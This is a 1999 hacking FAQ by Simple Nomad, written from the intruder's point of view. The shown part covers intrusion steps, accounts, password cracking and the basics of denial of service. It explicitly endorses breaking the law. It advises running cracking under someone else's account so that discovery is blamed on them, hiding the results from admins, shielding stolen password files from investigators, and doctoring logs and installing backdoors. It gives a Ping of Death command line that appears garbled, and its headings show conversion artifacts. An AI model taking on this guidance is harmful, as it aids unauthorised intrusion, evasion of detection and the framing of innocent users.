17933180-Hack-Faq

The Hack FAQ Simple Nomad (thegnome@nmrc.org) January 31, 1999 This FAQ is intended to show and explain the steps and techniques behind hacking. While it serves both admin and hacker alike, the perspective is from the intruder. ______________________________________________________________________ Table of Contents

1. General FAQ Info 1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8

How do I add to this FAQ? How was this FAQ prepared?

Is this FAQ available by anonymous FTP or WWW? What is the mission and goal of the FAQ? Where is the disclaimer?

Contributions (and thanks to...)

Other credits...

Changelog

2. Attack Basics 2.1 What are the four steps to hacking?

3. Account Basics 3.1 What are accounts?

3.2 What are groups?

4. Password Basics 4.1 4.2 4.3 4.4 4.5 4.6 4.7

What are some password basics?

Why protect the hashes?

What is a "dictionary" password cracker?

What is a "brute force" password cracker?

Which method is best for cracking?

What is a "salt"?

What are the "dangers" of cracking passwords?

5. Denial of Service Basics 5.1 5.2 5.3 5.4

What What What What

is "Denial of Service"? is the Ping of Death? is a SYN Flood attack? are other popular Denial of Service attacks?

6. Misc Info 6.1 6.2 6.3 6.4 6.5

What is a "backdoor"?

Why do I care about auditing, accounting, and logging?

What are some different logging techniques used by Admins?

Why should I not just delete the log files?

What is a buffer overflow?

7. NT Basics 7.1 What are the components of NT security?

7.2 How does the authentication of a user actually work?

7.3 What is "standalone" vs. "workgroup" vs. "domain"?

7.4 What is a Service Pack?

7.5 What is a Hot Fix? 7.6 Where are Service Packs and Hot Fixes?

7.7 What's with "C2 certification"?

7.8 Are there are interesting default groups to be aware of?

7.9 What are the default directory permissions?

7.10 Are there any special restrictions surrounding the Administrative Tools group in Presentation Manager?

7.11 What is the Registry?

7.12 What are hives?

7.13 Why is the Registry like this and why do I care?

8. NT Accounts 8.1 8.2 8.3 8.4

What are common accounts and passwords in NT? What if the Sys Admin has renamed the Administrator account?

How can I figure out valid account names for NT? What can null sessions to an NT machine tell me?

9. NT Passwords 9.1 9.2 9.3 9.4 9.5 9.6 9.7 9.8 9.9

How do I access the password file in NT? What do I do with a copy of SAM? What's the full story with NT passwords?

How does brute force password cracking work with NT? How does dictionary password cracking work with NT? I lost the NT Administrator password. What do I do?

How does a Sys Admin enforce better passwords?

Can an Sys Admin prevent/stop SAM extraction?

How is password changing related to "last login time"?

10. NT Console Attacks 10.1 What does direct console access for NT get me?

10.2 What about NT's file system?

10.3 What is Netmon and why do I care?

11. NT Client Attacks 11.1 What is GetAdmin.exe and Crash4.exe?

11.2 Should I even try for local administrator access?

11.3 I have guest remote access. How can I get administrator access?

11.4 What about %systemroot%\system32 being writeable?

11.5 What if the permissions are restricted on the server?

11.6 What exactly does the NetBios Auditing Tool do?

11.7 What is the "Red Button" bug?

11.8 What about forging DNS packets for subversive purposes?

11.9 What about shares?

11.10 How do I get around a packet filter-based firewall?

11.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?

12. NT Denial of Service 12.1 12.2 12.3 12.4

What can telnet give me in the way of denial of service?

What can I do with Samba?

What's with ROLLBACK.EXE? What is an OOB attack?

12.5 Are there any other Denial of Service attacks?

13. NT Logging and Backdoors 13.1 Where are the common log files in NT? 13.2 How do I edit/change NT log files without being detected?

14. NT Misc. Attack Info 14.1 How is file and directory security enforced?

14.2 What is NTFS? 14.3 Are there are vulnerabilities to NTFS and access controls?

14.4 What is Samba and why is it important?

14.5 How do I bypass the screen saver?

14.6 How can I detect that a machine is in fact NT on the network?

14.7 Can I do on-the-fly disk encryption on NT? 14.8 Does the FTP service allow passive connections?

14.9 What is this "port scanning" you are talking about?

14.10 Does NT have bugs like Unix' sendmail?

14.11 How is password changing related to "last login time"?

14.12 Can sessions be hijacked?

14.13 Are "man in the middle" attacks possible?

14.14 What about TCP Sequence Number Prediction?

14.15 What's the story with buffer overflows on NT? 15. Netware Basics 15.1 )HEADING 16. Netware Accounts 16.1 What are common accounts and passwords for Netware?

16.2 How can I figure out valid account names on Netware?

17. Netware Passwords 17.1 How do I access the password file in Netware?

17.2 What's the full story with Netware passwords?

17.3 How does password cracking work with Netware?

17.4 How does password cracking work with Netware?

17.5 Can an Sys Admin prevent/stop Netware password hash extraction?

17.6 Can I reset an NDS password with just limited rights?

17.7 What is OS2NT.NLM? 17.8 How does password encryption work?

17.9 Can I login without a password?

17.10 What's with Windows 95 and Netware passwords?

18. Netware Console Attacks 18.1 What's the "secret" way to get Supe access Novell once taught CNE's?

18.2 How do I use SETPWD.NLM? 18.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?

18.4 What's the "debug" way to disable passwords?

18.5 How do I defeat console logging?

18.6 Can I set the RCONSOLE password to work for just Supervisor?

18.7 How can I get around a locked MONITOR? 18.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?

18.9 What if I can't see SYS:_NETWARE? 18.10 So how do I access SYS:_NETWARE?

18.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF? 18.12 What else can be done with console access?

19. Netware Client Attacks 19.1 19.2 19.3 19.4 19.5 19.6 19.7

What is the cheesy way to get Supervisor access?

How can I login without running the System Login Script in Netware 3.x?

How can I get IP info from a Netware server remotely?

Does 4.x store the LOGIN password to a temporary file?

Everyone can make themselves equivalent to anyone including Admin. How? Can Windows 95 bypass NetWare user security?

What is Packet Signature and how do I get around it?

20. Netware Denial of Service 20.1 How can I abend a Netware server?

20.2 Will Windows 95 cause server problems for Netware?

20.3 Will Windows 95 cause network problems for Netware?

21. Netware Logging and Backdoors 21.1 How do I leave a backdoor for Netware?

21.2 What is the rumored "backdoor" in NDS? 21.3 What is the bindery backdoor in Netware 4.x?

21.4 Where are the common log files in Netware?

21.5 What is Accounting?

21.6 How do I defeat Accounting?

21.7 What is Intruder Detection?

21.8 How do I check for Intruder Detection?

21.9 What are station/time restrictions?

21.10 How can I tell if something is being Audited in Netware 4.x?

21.11 How can I remove Auditing if I lost the Audit password?

21.12 What is interesting about Netware 4.x's licensing?

21.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS? 22. Netware Misc. Attack Info 22.1 How do I spoof my node or IP address?

22.2 How can I see hidden files and directories?

22.3 How do I defeat the execute-only flag?

22.4 How can I hide my presence after altering files?

22.5 What is a Netware-aware trojan?

22.6 What are Trustee Directory Assignments?

22.7 Are there any default Trustee Assignments that can be exploited?

22.8 What are some general ways to exploit Trustee Rights?

22.9 Can access to .NCF files help me?

22.10 Can someone think they've logged out and I walk up and take over?

22.11 What other Novell and third party programs have holes that give "too much access"?

22.12 How can I get around disk space requirements?

22.13 How do I remotely reboot a Netware 3.x file server?

22.14 What is Netware NFS and is it secure?

22.15 Can sniffing packets help me break into Netware servers?

22.16 What else can sniffing around Netware get me?

22.17 Do any Netware utilities have holes like Unix utilities?

22.18 Where can I get the Netware APIs? 22.19 Are there alternatives to Netware's APIs? 22.20 How can I remove NDS? 22.21 What are security considerations regarding partitions of the tree?

22.22 22.23 22.24 22.25 22.26 22.27 22.28 22.29

Can a department "Supe" become a regular Admin to the entire tree?

Are there products to help improve Netware's security?

Is Netware's Web server secure?

What's the story with Netware's FTP NLM? Can an IntranetWare server be compromised from the Internet?

Are there any problems with Novell's Groupwise?

Are there any problems with Netware's Macintosh namespace?

What's the story with buffer overflows on Netware?

23. Netware Mathematical/Theoretical Info 23.1 23.2 23.3 23.4 23.5 23.6

How does the whole password/login/encryption thing work?

Are "man in the middle" attacks possible?

Are Netware-aware viruses possible?

Can a trojaned LOGIN.EXE be inserted during the login process?

Is anything "vulnerable" during a password change?

Is "data diddling" possible?

24. Unix Accounts 24.1 What are common accounts and passwords for Unix?

24.2 How can I figure out valid account names for Unix?

25. Unix Passwords 25.1 25.2 25.3 25.4 25.5 25.6

How do I access the password file in Unix?

What's the full story with Unix passwords?

How does brute force password cracking work with Unix?

How does dictionary password cracking work with Unix?

How does a Sys Admin enforce better passwords and password management?

So what can I learn with a password file from a heavily secured system?

26. Unix Local Attacks 26.1 Why attack locally?

26.2 How do most exploits work?

26.3 So how does a buffer overflow work?

27. Unix Remote Attacks 27.1 What are remote hacks?

28. Unix Logging 28.1 Where are the common log files in Unix?

28.2 How do I edit/change the log files for Unix?

29. Hacker Resources 29.1 29.2 29.3 29.4 29.5

What are some What are some What are some What are some Where are all

security-related WWW locations? security-related USENET groups? security-related mailing lists? other FAQs? of these files mentioned in the FAQ?

______________________________________________________________________ 1#1.#.

G#Ge#en#ne#er#ra#al#l F#FA#AQ#Q I#In#nf#fo#o

The following was originally compiled in June 1998. It answers some basic questions about this FAQ and hacking.

1#1.#.1#1.#.

H#Ho#ow#w d#do#o I#I a#ad#dd#d t#to#o t#th#hi#is#s F#FA#AQ#Q?#?

Send comments about info in this FAQ to faq@nmrc.org. Simple flames about typos, the "that's not right" one liners will be ignored. If you wish to contribute corrections please include your research and source of facts. Also if you wish to add your information, I will include it if I can include your email address, unless I can verify the info independently. This way if someone has questions, they can bug you, not me.

It is prefered that you include OS flavor and versions, and other conditions used in testing. Theoretical discussion is fine, just try and back up your findings. Also note that we may often rewrite your submissions to match the "elite" nature of our FAQ ;-) Anonymous submissions are okay. Encrypt them if you like, here's Simple Nomad's PGP key (also available from MIT's key server):

-----BEGIN PGP PUBLIC KEY BLOCK----Version: 2.6.2 mQCNAzEQrjMAAAEEANaIf2AiInhVwmrZEFZ5V2eyZfuJfjoI9unJwRhokwJ4TtVh ApEwjXVEbJBCPRKOHzibi5IEF2BirpzzlSy0Aj82yZk/iqYtJO60S0aycSPNPBl5 BmoLJaUjxakmnMMXOl3qdeWWtScpP7B4QTHyfsHRvQz0HSUPxh6RUqAiTzdxAAUR tCRTaW1wbGUgTm9tYWQgPHRoZWdub21lQGZhc3RsYW5lLm5ldD4= =v0Xj -----END PGP PUBLIC KEY BLOCK-----

And the PGP 5 key...

-----BEGIN PGP PUBLIC KEY BLOCK----Version: PGP for Personal Privacy 5.0 mQGiBDSfNs4RBADW7TK+WK6lta5deV0Pin2KInmwtG9+yB8lBr3yJHh+MPPfG6NU vmqoJh1STmaGG8tJ+P4p+vl7PZXflmEneuTwD7ItgtwQWTtUqYkIEKESUumW1Xaq 44aBAK9Fi7r3P+zT31vJFJmnRNRhE7tWgwk+YmIODpuUukd2uTWwOVXJrQCg/6Z2 DncKMjg2fQf8mVpk08pe2uEEAKSmSVASHJB4LHXwO8nEGmQYd/ahIIWo2kI288hM

NH87xkOdileWmEVHVG3+sHreX1EMKAgPWjuYpG3Jo0hUYothpN3mOrT2nfmZp3OI I23A4LSc8mT1dnDIKwrjJgEVK5IyEVfSMD27fXFJm4nvC3HYMuLv35JYzQ2T2fSJ 552wA/9UhLe72U0NpOScnfHdHfMpBifL2MPM+UVGs0co99d2caBMRMtqGiB3tR2o 041EGr80gfBG6FBohZNyCzXE4J7y2CtfxYeNZ4YwB92xKNoZvjerB1Z3WEnIBm57 sRd4cAMyXomWdYgO1Wwb48bIJxFtGVEjXXjiIdOJKOk3gyEv37QgU2ltcGxlIE5v bWFkIDx0aGVnbm9tZUBubXJjLm9yZz6JAEsEEBECAAsFAjSfNs4ECwMBAgAKCRAk eqS9aDjxHRUoAJ4hnn4bIRbO70DfT61RPv3kSiPfbACbBC3L7R/FpiJvV7y+4RpC idBfHNq5BA0ENJ83ExAQAPkYoH5aBmF6Q5CV3AVsh4bsYezNRR8O2OCjecbJ3HoL rOQ/40aUtjBKU9d8AhZIgLUV5SmZqZ8HdNP/46HFliBOmGW42A3uEF2rthccUdhQ yiJXQym+lehWKzh4XAvb+ExN1eOqRsz7zhfoKp0UYeOEqU/Rg4Soebbvj6dDRgjG zB13VyQ4SuLE8OiOE2eXTpITYfbb6yUOF/32mPfIfHmwch04dfv2wXPEgxEmK0Ng w+Po1gr9oSgmC66prrNlD6IAUwGgfNaroxIe+g8qzh90hE/K8xfzpEDp19J3tkIt AjbBJstoXp18mAkKjX4t7eRdefXUkk+bGI78KqdLfDL2Qle3CH8IF3KiutapQvMF 6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ +PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarT W56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY72 88kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy 1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XrPdYX AAICEACOO5eqfVXbBp2hoUaikkiOHQ5BO1rWHJr8WdNgpwxghm8L8LmaM8td6TaW lFJtG5OlpHDOoLFHTHh1FJFzi+YpiWvmfkj18pjCiFCGZ04kHfVJ/YGngWCzlYnu nT1bO7E9JPb6lBDE1QWgvGBykiTXVUyij7Ih0w0XSQimBNLIG+9OWRxdTbTL8BBH 4NrVc6pj6ofvD6fcpgQ1QYVvWC28h5MT4vIJE1EySrFs7nTdZvcAB9VOLNVJequ4 HjU5FP9uFxWxYPdJ5GS+EqwpMOcaFzXZEmNTrSfml8RgE+lQPYKGrgvO9qMFA/rH +wgXbRMGLYMtmi7J6vScKhtgdH8N8WI8+M675oTPR1zCexOaWNpcvnC8wHLKiRCJ oRklXFaFkPzT7jDEChSibYeTOJ19js+clx4ZTlTHeuzsmzJbjCXkqSkA8v6xnn8e RltFPBQviG2SF19eODdJ2DEzXxqSFTJmqd/bVWRI006Vtg7KP+45bVfNOpW654Zb urjmJHm0SiykBINTro6mk67eSlXR/OwcowTFecqOm+IrtNLkV2zbDTRLWO7NIvy/ yat6gn5WcSLQFifaCekngPdyPf9dD3JvXPMhfvC8eZHgHtzbHm62PsVP6pI345Sv 2pVD/LwFNJvQejs0VzeW1vQDyTvuZsLu2CoRQlUNltvnCAS/7okAPwMFGDSfNxMk eqS9aDjxHRECbR0AoMCWRgpax3dcWcso23jEYb1A4N/8AKDSVipa2SJk3yUtI7qW pRIi/CztAg== =c+/T -----END PGP PUBLIC KEY BLOCK-----

1#1.#.2#2.#. H#Ho#ow#w w#wa#as#s t#th#hi#is#s F#FA#AQ#Q p#pr#re#ep#pa#ar#re#ed#d?#?

Testing for a large part of the material was completed in the NMRC lab and at various field locations. Most of the tools used during testing are available from the NMRC web site in the files section (alternate locations are listed in the resources section for these tools).

Specific testing for Netware was done in the lab and at field locations. For NT the lab was used, but due to a recent "moment of clarity" NT is no longer operational in the labs. Field locations will be used from now on. Web related hacking information has been done in the field but due to a couple of odd related projects we currently have resources for this type of testing in the lab. Unix testing is also done in the lab, but primarily limited to Linux, OpenBSD, FreeBSD, and AIX. Technical info has been discovered (read "quoted without permission because it was out in a public forum so I leeched it") and collected, often the technical detail is complete and self-explanatory in its original source, so I feel no reason to "test" it in a lab

environment. I try and quote original material when I can, if I have left you out, let me know.

The actual FAQ was assembled from the various text files and turned into SGML source. The SGML-Tools package was used and only slightly altered to create these web pages. This gives us a single starting place during revisions and the opportunity for a multitude of output formats.

1#1.#.3#3.#. I#Is#s t#th#hi#is#s F#FA#AQ#Q a#av#va#ai#il#la#ab#bl#le#e b#by#y a#an#no#on#ny#ym#mo#ou#us#s F#FT#TP#P o#or#r W#WW#WW#W?#?

This FAQ is available online from the following locations: www.nmrc.org/faqs/hackfaq/index.html <http://www.nmrc.org/faqs/hackfaq/index.html>.

This FAQ is available in other formats, including its raw SGML. See the www.nmrc.org/faqs/index.html <http://www.nmrc.org/faqs/index.html> page for details.

Currently due to the new processing of the information manual mirrors will not be supported. Once we've implemented the processes, we will more than likely be providing updates to this FAQ once a month.

1#1.#.4#4.#. W#Wh#ha#at#t i#is#s t#th#he#e m#mi#is#ss#si#io#on#n a#an#nd#d g#go#oa#al#l o#of#f t#th#he#e F#FA#AQ#Q?#?

If I said "to teach hacking" I would be lying. First off, no documentation will teach you how to hack. This FAQ answers common questions regarding some of the underlying mechanics from a hacker perspective. Second, I will not be drawn into a debate regarding usage of the term hacker, cracker, phreaker, hacking, cracking, and will certainly not be drawn into a discussion on the moral and legal issues involved. The material is what it is -- no more, no less, and I use terms the way I see fit to answer a question from the intruder perspective.

So the goal here is simply information disemination.

1#1.#.5#5.#.

W#Wh#he#er#re#e i#is#s t#th#he#e d#di#is#sc#cl#la#ai#im#me#er#r?#?

There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak.

I don't care how you use this information. If you use it to break the law, fine. If you get caught, fine. If you use it to secure a system, fine. I am responsible for myself, therefore I need no "disclaimer".

Instead, here is my EXclaimer -- PISS OFF. The only thing more lame than a disclaimer on a web page is a disclaimer in a sig file (we all know how millions of dollars in attorney's fees are saved by sig files every year).

1#1.#.6#6.#. C#Co#on#nt#tr#ri#ib#bu#ut#ti#io#on#ns#s (#(a#an#nd#d t#th#ha#an#nk#ks#s t#to#o.#..#..#.)#)

Here are a few of our many contributors of info: +#o

The LAN God

+#o

Teiwaz teiwaz@wolfe.net

+#o

Fauzan Mirza fauzan@dcs.rhbnc.ac.uk

+#o

David A Wagner daw@lagos.CS.Berkeley.EDU

+#o

Diceman mailto:diceman@fl.net.au

+#o

PEME_Inc

+#o

Craig craigt@online1.magnus1.com

+#o

Einar Blaberg einarb@hem.passagen.se

+#o

SIC -- Hardware, Cyberius, and Jungman

+#o

Michael Edwards m2mike@yahoo.com

+#o

Jacob Ayres jayres@wcrtc.net

...and various sources who wish to remain anonymous...

1#1.#.7#7.#.

O#Ot#th#he#er#r c#cr#re#ed#di#it#ts#s.#..#..#.

Tech Support (and special thanks to): +#o

itsme - infamous Netware Netherlands hack fame

+#o

Greg Miller - Programmer/Analyst (home page in the Resources section)

Lab Support: Ace, Mike, Knobster, Up-uat, Fourth Stooge, B.C. Documentation and Compilation: +#o

imnsho@nmrc.org (Hole)

Music Heard During Revising/Editing/Testing: +#o

Nine Inch Nails <http://www.nin.net/>

+#o

Live

+#o

"Lost Highway" Soundtrack

+#o

"Spawn" Soundtrack

+#o

Rammstein <http://www.rammstein.com/>

+#o

Metallica <http://www.metclub.com/main.html>

+#o

Marilyn Manson

1#1.#.8#8.#.

C#Ch#ha#an#ng#ge#el#lo#og#g

Here are the changes that have been made to this FAQ: September 11, 1998 +#o

Updated information in 16.2

+#o

Added 8.4, 21.13

2#2.#.

A#At#tt#ta#ac#ck#k B#Ba#as#si#ic#cs#s

2#2.#.1#1.#. W#Wh#ha#at#t a#ar#re#e t#th#he#e f#fo#ou#ur#r s#st#te#ep#ps#s t#to#o h#ha#ac#ck#ki#in#ng#g?#?

While there is no hard and fast rule to hacking, most system intrusions can be divided into four steps. Depending on techniques involved, there could be less or more, but you should get the basic idea.

1. Learn as much as possible about your target before the attack. The techniques involved can be passive to bordering on mini-attacks themselves. And plan out your goals. Using your knowledge gained develop a plan, no matter how small or quick the hack is.

2. Initial access to the system. No doubt about it, this is the real attack part. This could be anything from ftp access to a sendmail bug to logging in as a "regular" user. It should either create an opportunity for indirect or direct access.

3. Full system access. At this level most goals developed can be carried out -- password file retrieved for cracking, trojan installed, secret file copied, etc. So this stage usually involves either taking advantage of a bug that allows higher priviledges to be obtained, taking advantages of misconfigured system parameters, or a combination of both.

4. Tracks are covered and backdoors installed. System logging is doctored to remove traces of the attack and what was done during the attack, and either defenses are lowered or files are tampered with to allow quicker and easier access. Some experienced hackers even patch the system to keep less experienced hackers out of the system (who might possibly tip off a Sys Admin through clumsiness).

Once step four is complete, hackers will refer to this system being owned.

Of course some steps might be repeated, especially step two. Or maybe an entire series of mini "1 2 3 4" "1 2 3 4" attacks are used in concert to obtain access to a system or achieve a goal.

3#3.#.

A#Ac#cc#co#ou#un#nt#t B#Ba#as#si#ic#cs#s

This section deals with the basics regarding computer accounts.

3#3.#.1#1.#.

W#Wh#ha#at#t a#ar#re#e a#ac#cc#co#ou#un#nt#ts#s?#?

Accounts are a way of identifying users to a computer system. Other terms you may see or here are user IDs, IDs, logins, or some other variant. Most systems when initially accessed will require you to provide an account name, and will usually require you follow up with a password. Not knowing a password sucks, but not knowing a valid account name sucks more.

Account names are usually something either very common, such as a part of the user's name (like tshimomura or kmitnick), part of a user's function (like dbadmin or webmaster), or sometimes kind of goofy, like employee numbers (like u121), or something made up (like up-uat or imnsho). Usually if you can find out one or two regular user account names, it might be possible to guess additional names -- particularly if employee numbers or account numbers are used.

Accounts can usually be divided up into four categories -- god, special, regular, and guest. A god account can usually do anything system-wise, from adding more users to changing anybody's password to complete system reconfiguration. As a hacker, this is typically your objective. Special accounts are usually either accounts used by the system itself or accounts that fulfill some type of administrative roll without full god access. Regular accounts are simply that -- the accounts used by regular users for their normal tasks. And guest accounts are accounts designed for anyone to use -- these are usually there as a convenience for those who do not have a regular account on the system. A good example of this is anonymous ftp. Typically guest accounts have fairly restrictive access to the system, especially on publicly accessible systems.

3#3.#.2#2.#.

W#Wh#ha#at#t a#ar#re#e g#gr#ro#ou#up#ps#s?#?

Groups are simply groupings of users. They are primarily used to ease system administration. For example, instead of having to assign access to a new hard drive to the forty accounting users, an admin just has to assign the accounting group the access. Even special privileges can often be assigned by group, such as the ability to manage a set of programs or system functions like printing.

Most modern systems allow accounts to belong to more than one group.

4#4.#.

P#Pa#as#ss#sw#wo#or#rd#d B#Ba#as#si#ic#cs#s

This section deals with the basics regarding passwords.

4#4.#.1#1.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e p#pa#as#ss#sw#wo#or#rd#d b#ba#as#si#ic#cs#s?#?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password.

When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

On most systems the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system.

If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.

To "crack" a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system.

Since this can be rather time-consuming, automation is typically used.

There are freeware password crackers available on the Internet for NT, Netware, and Unix.

4#4.#.2#2.#.

W#Wh#hy#y p#pr#ro#ot#te#ec#ct#t t#th#he#e h#ha#as#sh#he#es#s?#?

If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

4#4.#.3#3.#. W#Wh#ha#at#t i#is#s a#a "#"d#di#ic#ct#ti#io#on#na#ar#ry#y"#" p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ke#er#r?#?

A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is

considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT. If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. Therion's Password Utility for DOS is a good example of a wordlist manipulation tool that allows all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4#4.#.4#4.#. W#Wh#ha#at#t i#is#s a#a "#"b#br#ru#ut#te#e f#fo#or#rc#ce#e"#" p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ke#er#r?#?

A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

4#4.#.5#5.#. W#Wh#hi#ic#ch#h m#me#et#th#ho#od#d i#is#s b#be#es#st#t f#fo#or#r c#cr#ra#ac#ck#ki#in#ng#g?#?

It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.

If you remotely retrieved the password file to a system through some system bug, your goal may be to simply get logged into that system.

With the password file you now have the user accounts and the hashes.

A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack.

While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means I recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller.

For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

4#4.#.6#6.#.

W#Wh#ha#at#t i#is#s a#a "#"s#sa#al#lt#t"#"?#?

To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. On the major operating system covered here, only NT does not use a salt.

The specifics for salts for both Unix and Netware systems are covered in their individual password sections.

Historically the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break ALL of the passwords, although it is certainly no guarantee that the passwords can't be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

4#4.#.7#7.#. W#Wh#ha#at#t a#ar#re#e t#th#he#e "#"d#da#an#ng#ge#er#rs#s"#" o#of#f c#cr#ra#ac#ck#ki#in#ng#g p#pa#as#ss#sw#wo#or#rd#ds#s?#?

The dangers are quite simple, and quite real. If you are caught with a password file from a system you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason some hackers like to run cracking on someone else's systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is -- cracking is fairly CPU intensive), it looks to belong to someone else. Obviously you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator). Being on a system you have legit access to also allows you better access to check on the progress. Of course if it is known you are a hacker, you'll still be the first to be blamed whether the cracking software is yours or not!

Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running ;-) but there are a couple of things you can do to protect yourself.

First, encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them. Also, have a legitimate copy of the OS whose password you are trying to correct, and import the one-way hash into your own password file. Therefore you are cracking "your own" passwords to protect your own system. Granted this isn't exactly foolproof, but it could only help.

5#5.#.

D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e B#Ba#as#si#ic#cs#s

This section covers basic info regarding "Denial of Service".

5#5.#.1#1.#. W#Wh#ha#at#t i#is#s "#"D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e"#"?#?

Denial of Service (DoS) is simply rendering a service offered by a workstation or server unavailable to others. This is a controversial subject, since some people think that DoS is not a hack, or rather juvenile and petty. While I can't think of very many reasons why you might want to engage in DoS, I still will continue to include this type of material in the Hack FAQ. What is more sad -- the fact that I include them, or the fact that there are so many of them?

Regardless of your feelings, DoS has been steadily gaining in popularity, be it hackers mad at other hackers, sys admins mad at spammers, or whatever -- virtually everyone I've run into that is aware of the potential of DoS at least has software to do it, admins included.

Reasons that a hacker might want to resort to DoS might include the following: +#o

A trojan has been installed, but a reboot is required to activate it.

+#o

A hacker wishes to cover their tracks VERY DRAMATICALLY, or cover CPU activity with a random crash to make the site think it was "just a fluke".

+#o

The hacker isn't a hacker at all, but a pissed off lamer who has a poor outlook and too much free time.

+#o

The hacker is acting out of the need (or delusion) that the DoS serves a greater good, such as a DoS attack on Pro Life sites by Pro Choice believers.

Reasons that a Sys Admin might use DoS: +#o

A Sys Admin may want to ensure that their site is NOT vulnerable by testing out the latest patch.

+#o

A Sys Admin has a runaway process on a server causing problems and

cannot physically access the box (I have officially done this twice now). +#o

The Sys Admin isn't a Sys Admin at all, but a pissed off lamer who has a poor outlook and too much free time.

5#5.#.2#2.#. W#Wh#ha#at#t i#is#s t#th#he#e P#Pi#in#ng#g o#of#f D#De#ea#at#th#h?#?

The Ping of Death is a large ICMP packet sent by a workstation to a target. The target receives the ping in fragments and starts reassembling the packet. However, due to the size of the packet once it is reassembled it is too big for the buffer and overflows it. This causes unpredictable results, such as reboots or system hangs.

Windows 95 and Windows NT are capable of sending such a packet. By simply typing in "ping -165527 -s 1 target" you can send such a ping.

There are also source code examples available for Unix platforms that allow large ping packets to be constructed. These sources are freely available on the Internet.

Most systems have patches available to prevent Ping of Death from working.

5#5.#.3#3.#. W#Wh#ha#at#t i#is#s a#a S#SY#YN#N F#Fl#lo#oo#od#d a#at#tt#ta#ac#ck#k?#?

In the TCP/IP protocol, a three way handshake takes place as a service is connected to. First in a SYN packet from the client, with which the service responses with a SYN-ACK. Finally the client responds to the SYN-ACK and the conversation is considered started.

